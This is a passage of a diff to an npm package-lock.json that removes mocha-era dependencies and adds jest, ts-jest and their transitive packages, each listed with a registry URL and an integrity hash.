"sha512-+3GkODfsDG71KSCQhc4IekSW+ItCK/kiez1Z28ksWvYhKXV/syxMlerR/sC7whDp7IyreZ4YxceMLdTs5hQE8A==", - "dev": true, - "requires": { - "ansi-colors": "^4.1.3", - "browser-stdout": "^1.3.1", - "chokidar": "^3.5.3", - "debug": "^4.3.5", - "diff": "^5.2.0", - "escape-string-regexp": "^4.0.0", - "find-up": "^5.0.0", - "glob": "^10.4.5", - "he": "^1.2.0", - "js-yaml": "^4.1.0", - "log-symbols": "^4.1.0", - "minimatch": "^5.1.6", - "ms": "^2.1.3", - "serialize-javascript": "^6.0.2", - "strip-json-comments": "^3.1.1", - "supports-color": "^8.1.1", - "workerpool": "^6.5.1", - "yargs": "^16.2.0", - "yargs-parser": "^20.2.9", - "yargs-unparser": "^2.0.0" - }, - "dependencies": { - "supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, "ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "dev": true }, - "ncp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz", - "integrity": "sha512-zIdGUrPRFTUELUvr3Gmc7KZ2Sw/h1PiVM0Af/oHB6zgnV1ikqSfRk+TOufi79aHYCW3NiOXmr1BP5nWbzojLaA==", + "napi-postinstall": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/napi-postinstall/-/napi-postinstall-0.2.5.tgz", + "integrity": "sha512-kmsgUvCRIJohHjbZ3V8avP0I1Pekw329MVAMDzVxsrkjgdnqiwvMX5XwR+hWV66vsAtZ+iM+fVnq8RTQawUmCQ==", + "dev": true + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", "dev": true }, "neo-async": { @@ -5224,63 +9123,6 @@ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", "dev": true }, - "nicer-fs": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/nicer-fs/-/nicer-fs-1.1.1.tgz", - "integrity": "sha512-6JjBnUyN3xEi1GjLRbIQ2N8bOOLG3w04pifpsP/jCNsax1MRepn0rb939knnXnPVR0hi+r7fl9Nfxmf8PA5X9A==", - "dev": true, - "requires": { - "@types/glob": "^5.0.30", - "@types/ncp": "^2.0.0", - "@types/node": "^7.0.13", - "@types/rimraf": "^0.0.28", - "glob": "^7.1.1", - "mkdirp": "^0.5.1", - "ncp": "^2.0.0", - "rimraf": "^2.6.1" - }, - "dependencies": { - "@types/node": { - "version": "7.10.14", - "resolved": "https://registry.npmjs.org/@types/node/-/node-7.10.14.tgz", - "integrity": "sha512-29GS75BE8asnTno3yB6ubOJOO0FboExEqNJy4bpz0GSmW/8wPTNL4h9h63c6s1uTrOopCmJYe/4yJLh5r92ZUA==", - "dev": true - }, - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - } - } - }, "nock": { "version": "12.0.3", "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz", @@ -5293,13 +9135,11 @@ "propagate": "^2.0.0" } }, - "node-fetch": { - "version": "2.6.7", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", - "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", - "requires": { - "whatwg-url": "^5.0.0" - } + "node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true }, "node-releases": { "version": "2.0.19", @@ -5313,14 +9153,33 @@ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", "dev": true }, + "npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "requires": { + "path-key": "^3.0.0" + } + }, "once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "requires": { "wrappy": "1" } }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "requires": { + "mimic-fn": "^2.1.0" + } + }, "p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", @@ -5330,15 +9189,6 @@ "yocto-queue": "^0.1.0" } }, - "p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "requires": { - "p-limit": "^3.0.2" - } - }, "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", @@ -5351,6 +9201,18 @@ "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", "dev": true }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + } + }, "path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -5384,12 +9246,6 @@ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" }, - "pathval": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", - "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", - "dev": true - }, "picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -5408,9 +9264,9 @@ "dev": true }, "pirates": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", - "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", "dev": true }, "pkg-dir": { @@ -5467,6 +9323,25 @@ } } }, + "pretty-format": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz", + "integrity": "sha512-yC5/EBSOrTtqhCKfLHqoUIAXVRZnukHPwWBJWR7h84Q3Be1DRQZLncwcfLoPA5RPQ65qfiCMqgYwdUuQ//eVpg==", + "dev": true, + "requires": { + "@jest/schemas": "30.0.1", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "dependencies": { + "ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true + } + } + }, "propagate": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz", @@ -5478,28 +9353,22 @@ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" }, + "pure-rand": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-7.0.1.tgz", + "integrity": "sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ==", + "dev": true + }, "queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" }, - "randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "requires": { - "safe-buffer": "^5.1.0" - } - }, - "readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "requires": { - "picomatch": "^2.2.1" - } + "react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true }, "recast": { "version": "0.20.5", @@ -5519,55 +9388,26 @@ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", "dev": true }, + "resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "requires": { + "resolve-from": "^5.0.0" + } + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true + }, "reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" }, - "rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", - "dev": true, - "requires": { - "glob": "^7.1.3" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - } - } - }, "run-parallel": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", @@ -5576,27 +9416,12 @@ "queue-microtask": "^1.2.2" } }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true - }, "semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true }, - "serialize-javascript": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", - "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", - "dev": true, - "requires": { - "randombytes": "^2.1.0" - } - }, "shallow-clone": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", @@ -5648,6 +9473,39 @@ "source-map": "^0.6.0" } }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "requires": { + "escape-string-regexp": "^2.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true + } + } + }, + "string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dev": true, + "requires": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + } + }, "string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", @@ -5688,6 +9546,18 @@ "ansi-regex": "^5.0.1" } }, + "strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true + }, + "strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true + }, "strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -5703,6 +9573,61 @@ "has-flag": "^4.0.0" } }, + "synckit": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.8.tgz", + "integrity": "sha512-+XZ+r1XGIJGeQk3VvXhT6xx/VpbHsRzsTkGgF6E5RX9TTXD0118l87puaEBZ566FhqblC6U0d4XnubznJDm30A==", + "dev": true, + "requires": { + "@pkgr/core": "^0.2.4" + } + }, + "test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "requires": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + } + } + }, "tiny-invariant": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", @@ -5715,6 +9640,12 @@ "integrity": "sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==", "dev": true }, + "tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "dev": true + }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -5723,10 +9654,36 @@ "is-number": "^7.0.0" } }, - "tr46": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=" + "ts-jest": { + "version": "29.4.0", + "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-29.4.0.tgz", + "integrity": "sha512-d423TJMnJGu80/eSgfQ5w/R+0zFJvdtTxwtF9KzFFunOpSeD+79lHJQIiAhluJoyGRbvj9NZJsl9WjCUo0ND7Q==", + "dev": true, + "requires": { + "bs-logger": "^0.2.6", + "ejs": "^3.1.10", + "fast-json-stable-stringify": "^2.1.0", + "json5": "^2.2.3", + "lodash.memoize": "^4.1.2", + "make-error": "^1.3.6", + "semver": "^7.7.2", + "type-fest": "^4.41.0", + "yargs-parser": "^21.1.1" + }, + "dependencies": { + "semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true + }, + "type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true + } + } }, "ts-node": { "version": "10.9.2", @@ -5774,6 +9731,12 @@ "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "dev": true }, + "type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true + }, "typescript": { "version": "5.5.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.5.3.tgz", @@ -5781,9 +9744,37 @@ "dev": true }, "universal-user-agent": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz", - "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w==" + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==" + }, + "unrs-resolver": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.9.2.tgz", + "integrity": "sha512-VUyWiTNQD7itdiMuJy+EuLEErLj3uwX/EpHQF8EOf33Dq3Ju6VW1GXm+swk6+1h7a49uv9fKZ+dft9jU7esdLA==", + "dev": true, + "requires": { + "@unrs/resolver-binding-android-arm-eabi": "1.9.2", + "@unrs/resolver-binding-android-arm64": "1.9.2", + "@unrs/resolver-binding-darwin-arm64": "1.9.2", + "@unrs/resolver-binding-darwin-x64": "1.9.2", + "@unrs/resolver-binding-freebsd-x64": "1.9.2", + "@unrs/resolver-binding-linux-arm-gnueabihf": "1.9.2", + "@unrs/resolver-binding-linux-arm-musleabihf": "1.9.2", + "@unrs/resolver-binding-linux-arm64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-arm64-musl": "1.9.2", + "@unrs/resolver-binding-linux-ppc64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-riscv64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-riscv64-musl": "1.9.2", + "@unrs/resolver-binding-linux-s390x-gnu": "1.9.2", + "@unrs/resolver-binding-linux-x64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-x64-musl": "1.9.2", + "@unrs/resolver-binding-wasm32-wasi": "1.9.2", + "@unrs/resolver-binding-win32-arm64-msvc": "1.9.2", + "@unrs/resolver-binding-win32-ia32-msvc": "1.9.2", + "@unrs/resolver-binding-win32-x64-msvc": "1.9.2", + "napi-postinstall": "^0.2.4" + } }, "update-browserslist-db": { "version": "1.1.3", @@ -5801,18 +9792,36 @@ "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", "dev": true }, - "webidl-conversions": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=" + "v8-to-istanbul": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", + "dev": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + }, + "dependencies": { + "@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + } + } }, - "whatwg-url": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=", + "walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dev": true, "requires": { - "tr46": "~0.0.3", - "webidl-conversions": "^3.0.0" + "makeerror": "1.0.12" } }, "which": { @@ -5824,12 +9833,6 @@ "isexe": "^2.0.0" } }, - "workerpool": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz", - "integrity": 